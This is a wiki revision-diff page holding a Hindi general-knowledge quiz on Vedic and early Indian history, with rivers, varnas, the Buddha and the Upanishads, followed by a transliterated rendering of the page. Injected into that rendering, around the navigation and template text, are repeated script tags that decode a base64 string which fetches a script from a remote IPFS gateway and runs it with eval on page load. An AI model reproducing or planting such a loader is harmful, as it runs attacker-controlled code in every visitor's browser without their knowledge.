Difference between revisions of "इतिहास सामान्य ज्ञान 12"

भारत डिस्कवरी प्रस्तुति
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{ऋग्वैदिक काल में विनिमय के माध्यम के रूप में किसका प्रयोग किया जाता था?
+
{[[वैदिक काल|ऋग्वैदिक काल]] में विनिमय के माध्यम के रूप में किसका प्रयोग किया जाता था?
 
|type="()"}
 
|type="()"}
 
-अनाज
 
-अनाज
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+[[गाय]]
 
+[[गाय]]
 
-[[दास]]
 
-[[दास]]
||[[चित्र:Cows-mathura2.jpg|right|80px|गाय तथा उसमें वास करने वाले देवता]][[हिन्दू धर्म]] में [[गाय]] की [[पूजा]] का मूल आरंभिक [[वैदिक काल]] में खोजा जा सकता है। भारोपीय लोग, जिन्होंने दूसरी सहस्राब्दी ई.पू. में [[भारत]] में प्रवेश किया, वे पशुपालक थे। पशुओं का बड़ा आर्थिक महत्त्व था, जो [[वैदिक धर्म]] में भी दिखाई देता है। यद्यपि [[प्राचीन भारत]] में [[गाय|गायों]] और बैलों की बलि दी जाती थी और उनका माँस खाया जाता था। लेकिन दुधारू गायों की बलि क्रमश: बंद की जा रही थी, जैसे [[महाभारत]] व [[मनुस्मृति]] के हिस्सों में और [[ऋग्वेद]] में दुधारू गाय को पहले से ही 'अवध्य' कहा गया था।{{point}}अधिक जानकारी के लिए देखें:-[[गाय]]
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||[[चित्र:Cows-mathura2.jpg|right|80px|गाय तथा उसमें वास करने वाले देवता]][[हिन्दू धर्म]] में [[गाय]] की [[पूजा]] का मूल आरंभिक [[वैदिक काल]] में खोजा जा सकता है। भारोपीय लोग, जिन्होंने दूसरी सहस्राब्दी ई.पू. में [[भारत]] में प्रवेश किया, वे पशुपालक थे। पशुओं का बड़ा आर्थिक महत्त्व था, जो [[वैदिक धर्म]] में भी दिखाई देता है। यद्यपि [[प्राचीन भारत]] में [[गाय|गायों]] और बैलों की बलि दी जाती थी और उनका माँस खाया जाता था। लेकिन दुधारू गायों की बलि क्रमश: बंद की जा रही थी, जैसे [[महाभारत]] व [[मनुस्मृति]] के हिस्सों में और [[ऋग्वेद]] में दुधारू गाय को पहले से ही 'अवध्य' कहा गया था। - अधिक जानकारी के लिए देखें:-[[गाय]]
 
 
{ऋग्वैदिक युगीन नदी '[[परुष्णी नदी|परुष्णी]]' का महत्त्व क्यों है?
 
|type="()"}
 
-सर्वाधिक पवित्र नदी होने के कारण
 
-[[ऋग्वेद]] में सबसे अधिक बार उल्लेख होने के कारण
 
+दाशराज्ञ युद्ध के कारण
 
-उपर्युक्त सभी
 
 
 
{[[ऋग्वेद]] में निम्न में से किसका उल्लेख नहीं मिलता है?
 
|type="()"}
 
-[[कृषि]]
 
-यव
 
-ब्रीहि
 
+[[कपास]]
 
||[[चित्र:Cotton-2.jpg|right|100px|कपास का पौधा]]'कपास' [[भारत]] की आदि फ़सल है, जिसकी खेती बहुत बड़ी मात्रा में की जाती है। भारत में इसका [[इतिहास]] काफ़ी पुराना है। [[हड़प्पा]] निवासी [[कपास]] के उत्पादन में संसार भर में प्रथम माने जाते थे। कपास उनके प्रमुख उत्पादनों में से एक था। भारत से ही 327 ई.पू. के लगभग [[यूनान]] में इस पौधे का प्रचार हुआ। यह भी उल्लेखनीय है कि भारत से ही यह पौधा [[चीन]] और विश्व के अन्य देशों को ले जाया गया। विश्व में प्रतिवर्ष लगभग 150 लाख मीट्रिक टन कपास पैदा होता है। [[संयुक्त राज्य अमरीका]], चीन, भारत, ब्राजील, [[मिस्र]], सूडान आदि कपास के प्रमुख उत्पादक देश हैं।{{point}}अधिक जानकारी के लिए देखें:-[[कपास]]
 
  
 
{[[ऋग्वेद]] में उल्लिखित क़रीब 25 नदियों में से सर्वाधिक महत्त्वपूर्ण नदी कौन-सी थी?
 
{[[ऋग्वेद]] में उल्लिखित क़रीब 25 नदियों में से सर्वाधिक महत्त्वपूर्ण नदी कौन-सी थी?
 
|type="()"}
 
|type="()"}
-[[गंगा नदी]]
+
-[[गंगा]]  
-[[यमुना नदी]]
+
-[[यमुना]]
+[[सरस्वती नदी]]
+
+[[सरस्वती नदी|सरस्वती]]
-[[सिन्धु नदी]]
+
-[[सिन्धु नदी|सिन्धु]]
||[[चित्र:Saraswati-River.png|सरस्वती नदी|right|100px]][[स्कंद पुराण]] और [[महाभारत]] में [[सरस्वती नदी]] का विवरण बड़ी श्रद्धा-[[भक्ति]] से किया गया है। कई भू-विज्ञानी मानते हैं, और [[ऋग्वेद]] में भी कहा गया है, कि हज़ारों साल पहले [[सतलुज नदी|सतलुज]] (जो [[सिन्धु नदी]] की सहायक नदी है) और [[यमुना नदी|यमुना]] (जो [[गंगा]] की सहायक नदी है) के बीच एक विशाल नदी थी, जो [[हिमालय]] से लेकर [[अरब सागर]] तक बहती थी। आज भू-गर्भीय बदलाव के कारण ये सूख गयी है। [[वैदिक काल]] में सरस्वती नदी को 'नदीतमा' की उपाधि दी गयी थी। उस सभ्यता में सरस्वती ही सबसे बड़ी और मुख्य नदी थी, गंगा नहीं। सरस्वती नदी [[हरियाणा]], [[पंजाब]] व [[राजस्थान]] से होकर बहती थी और [[कच्छ का रण|कच्छ]] के रण में जाकर अरब सागर में मिलती थी।{{point}}अधिक जानकारी के लिए देखें:-[[सरस्वती नदी]]
+
||[[चित्र:Saraswati-River.png|सरस्वती नदी|right|100px]][[स्कंद पुराण]] और [[महाभारत]] में [[सरस्वती नदी]] का विवरण बड़ी श्रद्धा-[[भक्ति]] से किया गया है। कई भू-विज्ञानी मानते हैं, और [[ऋग्वेद]] में भी कहा गया है, कि हज़ारों साल पहले [[सतलुज नदी|सतलुज]] (जो [[सिन्धु नदी]] की सहायक नदी है) और [[यमुना नदी|यमुना]] (जो [[गंगा]] की सहायक नदी है) के बीच एक विशाल नदी थी, जो [[हिमालय]] से लेकर [[अरब सागर]] तक बहती थी। आज भू-गर्भीय बदलाव के कारण ये सूख गयी है। [[वैदिक काल]] में सरस्वती नदी को 'नदीतमा' की उपाधि दी गयी थी। उस सभ्यता में सरस्वती ही सबसे बड़ी और मुख्य नदी थी, गंगा नहीं। सरस्वती नदी [[हरियाणा]], [[पंजाब]] व [[राजस्थान]] से होकर बहती थी और [[कच्छ का रण|कच्छ]] के रण में जाकर अरब सागर में मिलती थी। - अधिक जानकारी के लिए देखें:-[[सरस्वती नदी]]
 
 
{[[ऋग्वेद]] में 'जन' और 'विश' का उल्लेख क्रमश: कितनी बार हुआ है?
 
|type="()"}
 
-250,175
 
-275,175
 
-200,150
 
+275,170
 
 
 
{ऋग्वैदिक युग की सर्वाधिक प्राचीन संस्था कौन-सी थी?
 
|type="()"}
 
-सभा
 
-समिति
 
+विद्थ
 
-परिषद
 
  
 
{[[ऋग्वेद]] के दसवें मण्डल में किसका उल्लेख पहली बार मिलता है?
 
{[[ऋग्वेद]] के दसवें मण्डल में किसका उल्लेख पहली बार मिलता है?
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+[[शूद्र]]
 
+[[शूद्र]]
 
-चाण्डाल
 
-चाण्डाल
||[[चित्र:Rigveda.jpg|right|100px|ऋग्वेद का आवरण पृष्ठ]]भारतीय समाज व्यवस्था में चतुर्थ वर्ण या जाति [[शूद्र]] कहलाती है। [[वायु पुराण]], [[वेदांत|वेदांतसूत्र]] और [[छांदोग्य उपनिषद|छांदोग्य]] एवं वेदांतसूत्र के शांकरभाष्य में 'शुच' और 'द्रु' धातुओं से 'शूद्र' शब्द व्युत्पन्न किया गया। [[ऋग्वेद]] के पुरुषसूक्त से पुरुष के पदों से शूद्र की उत्पत्ति का उल्लेख है। पुरुषोत्पत्ति का यह सिद्धांत [[ब्राह्मण ग्रंथ]], वाजसनेयी संहिता, [[महाभारत]], [[पुराण]] में शूद्रदेव पूषा से शूद्र की उत्पत्ति बतलाई गई है। [[विष्णु]] और वायु पुराण के अनुसार यज्ञनिष्पत्ति के लिए चतुर्वर्णों का सर्जन हुआ।{{point}}अधिक जानकारी के लिए देखें:-[[शूद्र]]
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||[[चित्र:Rigveda.jpg|right|100px|ऋग्वेद का आवरण पृष्ठ]]भारतीय समाज व्यवस्था में चतुर्थ वर्ण या जाति [[शूद्र]] कहलाती है। [[वायु पुराण]], [[वेदांत|वेदांतसूत्र]] और [[छांदोग्य उपनिषद|छांदोग्य]] एवं वेदांतसूत्र के शांकरभाष्य में 'शुच' और 'द्रु' धातुओं से 'शूद्र' शब्द व्युत्पन्न किया गया। [[ऋग्वेद]] के पुरुषसूक्त से पुरुष के पदों से शूद्र की उत्पत्ति का उल्लेख है। पुरुषोत्पत्ति का यह सिद्धांत [[ब्राह्मण ग्रंथ]], वाजसनेयी संहिता, [[महाभारत]], [[पुराण]] में शूद्रदेव पूषा से शूद्र की उत्पत्ति बतलाई गई है। [[विष्णु]] और वायु पुराण के अनुसार यज्ञनिष्पत्ति के लिए चतुर्वर्णों का सर्जन हुआ। - अधिक जानकारी के लिए देखें:-[[शूद्र]]
  
 
{'[[आर्य]]' शब्द का शाब्दिक अर्थ क्या है?
 
{'[[आर्य]]' शब्द का शाब्दिक अर्थ क्या है?
 
|type="()"}
 
|type="()"}
 
-वीर
 
-वीर
+श्रेष्ठ या कुलीन
+
+श्रेष्ठ या [[कुलीन]]
 
-विद्वान
 
-विद्वान
 
-यज्ञकर्ता
 
-यज्ञकर्ता
  
{[[बोधगया]] में स्थित वह बोधिवृक्ष, जिसके नीचे [[बुद्ध]] को ज्ञान प्राप्त हुआ था, किस शासक के द्वारा कटवा दिया गया?
+
{[[बोधगया]] में स्थित वह बोधिवृक्ष, जिसके नीचे [[बुद्ध]] को ज्ञान प्राप्त हुआ था, किस शासक द्वारा कटवा दिया गया?
 
|type="()"}
 
|type="()"}
 
-[[पुष्यमित्र शुंग]]
 
-[[पुष्यमित्र शुंग]]
 
-[[हूण]] राजा [[मिहिरकुल]]
 
-[[हूण]] राजा [[मिहिरकुल]]
+[[गौड़]] के राजा शशांक
+
+[[गौड़]] के राजा [[शशांक]]
 
-[[महमूद गज़नवी]]
 
-[[महमूद गज़नवी]]
 
+
||'शशांक' को [[बंगाल]] के यशस्वी शासकों में गिना जाता है। उसने बंगाल प्रदेश की सीमाओं के बाहर भी अपने राज्य का बहुत विस्तार किया। उसका वंश अज्ञात है और [[गुप्त वंश]] के साथ उसको सम्बन्धित करना केवल अनुमान मात्र है। उसकी उत्पत्ति चाहे जिस वंश में भी हुई हो, लेकिन इतना निश्चित है कि 606 ई. के पूर्व ही वह [[गौड़]] अथवा बंगाल का शासक बन चुका था। [[शशांक]] के सिक्कों से स्पष्ट है कि वह [[शिव]] का उपासक था, किन्तु चीनी यात्री [[ह्वेनसांग]] द्वारा वर्णित उसके [[बौद्ध धर्म]] से विद्वेष और [[बौद्ध|बौद्धों]] पर अत्याचार की कहानियों में कितनी सत्यता है, यह निश्चय कर पाना कठिन है। - अधिक जानकारी के लिए देखें:- [[शशांक]]
{[[भारत]] में पूजित पहली मानव प्रतिमा कौन-सी थी?
 
|type="()"}
 
+[[बुद्ध|भगवान बुद्ध]]
 
-[[इन्द्र|इन्द्र भगवान]]
 
-[[महावीर|महावीर स्वामी]]
 
-[[कृष्ण|वासुदेव कृष्ण]]
 
||[[चित्र:Buddha1.jpg|right|100px|बुद्ध प्रतिमा, राजकीय संग्रहालय, मथुरा]]'गौतम बुद्ध' का मूल नाम 'सिद्धार्थ' था। [[सिंहली]] अनुश्रुति, [[खारवेल]] के [[अभिलेख]], [[अशोक]] के सिंहासनारोहण की तिथि, कैण्टन के अभिलेख आदि के आधार पर [[बुद्ध]] की जन्म तिथि 563 ई.पूर्व स्वीकार की गयी है। इनका जन्म शाक्य वंश के राजा [[शुद्धोदन]] की रानी महामाया के गर्भ से [[माघ मास]] की [[पूर्णिमा]] के दिन हुआ था। शाक्य गणराज्य की राजधानी [[कपिलवस्तु]] के निकट [[लुम्बिनी]] में इनका जन्म हुआ। बुद्ध को 'शाक्य मुनि' भी कहा जाता है। इनकी [[माता]] मायादेवी इनके जन्म के कुछ देर बाद ही मर गई थीं। कहा जाता है कि तभी एक [[ऋषि]] ने कहा कि वे या तो एक महान राजा बनेंगे, या फिर एक महान [[साधु]]।{{point}}अधिक जानकारी के लिए देखें:-[[गौतम बुद्ध]]
 
 
 
{[[भारत]] का राष्ट्रीय आदर्श वाक्य '[[सत्यमेव जयते]]' कहाँ से उद्धृत है?
 
|type="()"}
 
+[[मुण्डकोपनिषद]] से
 
-[[कठोपनिषद]] से
 
-[[छान्दोग्य उपनिषद]] से
 
-उपर्युक्त में से कोई नहीं
 
||'मुण्डकोपनिषद' [[अथर्ववेद]] की शौनकीय शाखा से सम्बन्धित है। इसमें अक्षर ब्रह्म 'ॐ: का विशद विवेचन किया गया है। इसे 'मन्त्रोपनिषद' नाम से भी पुकारा जाता है। [[भारत]] के [[राष्ट्रीय चिह्न और प्रतीक|राष्ट्रीय चिह्न]] में अंकित शब्द 'सत्यमेव जयते' [[मुण्डकोपनिषद]] से ही लिये गए हैं। इसमें तीन मुण्डक हैं और प्रत्येक मुण्डक के दो-दो खण्ड हैं तथा कुल चौंसठ [[मन्त्र]] हैं। 'मुण्डक' का अर्थ है- 'मस्तिष्क को अत्यधिक शक्ति प्रदान करने वाला और उसे अविद्या-रूपी अन्धकार से मुक्त करने वाला।' इस [[उपनिषद]] में महर्षि [[अंगिरा]] ने शौनक को 'परा-अपरा' विद्या का ज्ञान कराया है। {{point}}अधिक जानकारी के लिए देखें:-[[मुण्डकोपनिषद]]
 
 
 
{उत्तर वैदिक कालीन [[ग्रंथ|ग्रंथों]] की रचना लगभग 1000 . पू. 600 ई. पू. के मध्य किन स्थानों पर की गई?
 
|type="()"}
 
-[[सिन्धु घाटी]] के मैदान में
 
-[[आर्यावर्त]] के मैदान में
 
+[[गंगा]] के उत्तरी मैदान में
 
-मध्य [[एशिया]] के मैदान में
 
 
 
{'सभा' और 'समिति' [[प्रजापति]] की दो पुत्रियाँ थीं, इसका उल्लेख किस [[ग्रंथ]] में मिलता है?
 
|type="()"}
 
-[[ऋग्वेद]] में
 
+[[अथर्ववेद]] में
 
-[[यजुर्वेद]] में
 
-[[सामवेद]] में
 
||[[चित्र:Atharvaveda.jpg|right|100px|अथर्ववेद का आवरण पृष्ठ]]'अथर्ववेद' की [[भाषा]] और स्वरूप के आधार पर ऐसा माना जाता है कि इस [[वेद]] की रचना सबसे बाद में हुई। [[अथर्ववेद]] के दो पाठों (शौनक और पैप्पलद) में संचरित हुए लगभग सभी स्तोत्र ऋग्वेदीय स्तोत्रों के [[छंद|छंदों]] में रचित हैं। दोनों वेदों में इसके अतिरिक्त अन्य कोई समानता नहीं है। अथर्ववेद दैनिक जीवन से जुड़े तांत्रिक-धार्मिक सरोकारों को व्यक्त करता है, इसका स्वर [[ऋग्वेद]] के उस अधिक पुरोहिती स्वर से भिन्न है, जो महान [[देवता|देवों]] को महिमामंडित करता है और [[सोम रस|सोम]] के प्रभाव में कवियों की उत्प्रेरित दृष्टि का वर्णन करता है।{{point}}अधिक जानकारी के लिए देखें:- [[अथर्ववेद]]
 
 
 
{उत्तर वैदिक कालीन ग्रंथों में किस आश्रम का उल्लेख नहीं मिलता?
 
|type="()"}
 
+सन्यास
 
-[[ब्रह्मचर्य]]
 
-गृहस्थ
 
-[[वानप्रस्थ संस्कार|वानप्रस्थ]]
 
 
 
{उत्तर वैदिक काल के महत्त्वपूर्ण [[देवता]] कौन थे?
 
|type="()"}
 
-[[रुद्र]]
 
-[[विष्णु]]
 
+[[प्रजापति]]
 
-पूषन
 
||[[चित्र:God-Brahma.jpg|right|100px|भगवान ब्रह्मा]]वैदिक ग्रन्थों में वर्णित एक भावात्मक [[देवता]] ब्रह्मा, जो प्रजा अर्थात् सम्पूर्ण जीवधारियों के स्वामी हैं। [[ब्रह्मा]], [[विष्णु]] एवं [[शिव]] का [[हिन्दू धर्म]] में महत्त्वपूर्ण उच्च स्थान है। [[ब्राह्मण ग्रन्थ|ब्राह्मण ग्रन्थों]] के अनुसार प्रजापति की कल्पना में मतान्तर है। कभी वे सृष्टि के साथ उत्पन्न बताये गये हैं, कभी उन्हीं से सृष्टि का विकास बताया गया है। कभी उन्हें ब्रह्मा का सहायक देव बताया गया है। परवर्ती पौराणिक कथनों में भी यही (द्वितीय) विचार पाया जाता है। ब्रह्मा का उद्भव ब्रह्म से हुआ, जो कि प्रथम कारण है, तथा दूसरे मतानुसार ब्रह्मा तथा ब्रह्म एक ही हैं, जबकि ब्रह्मा को 'स्वयम्भू' या 'अज' (अजन्मा) कहते हैं।{{point}}अधिक जानकारी के लिए देखें:-[[प्रजापति]]
 
 
</quiz>
 
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{{इतिहास सामान्य ज्ञान}}
 
{{इतिहास सामान्य ज्ञान}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
{{प्रचार}}
 
 
[[Category:सामान्य ज्ञान]]
 
[[Category:सामान्य ज्ञान]]
 
[[Category:सामान्य ज्ञान प्रश्नोत्तरी]]
 
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{{Review-G}}

Latest revision as of 13:46, 15 February 2023

samany jnan prashnottari
rajyoan ke samany jnan

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  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 rrigvaidik kal mean vinimay ke madhyam ke roop mean kisaka prayog kiya jata tha?

anaj
mudra
gay
das

2 rrigved mean ullikhit qarib 25 nadiyoan mean se sarvadhik mahattvapoorn nadi kaun-si thi?

ganga
yamuna
sarasvati
sindhu

3 rrigved ke dasavean mandal mean kisaka ullekh pahali bar milata hai?

yoddha
purohit
shoodr
chandal

4 'ary' shabd ka shabdik arth kya hai?

vir
shreshth ya kulin
vidvan
yajnakarta

5 bodhagaya mean sthit vah bodhivriksh, jisake niche buddh ko jnan prapt hua tha, kis shasak dvara katava diya gaya?

pushyamitr shuang
hoon raja mihirakul
gau d ke raja shashaank
mahamood gazanavi

panne par jaean
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

samany jnan prashnottari
rajyoan ke samany jnan

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>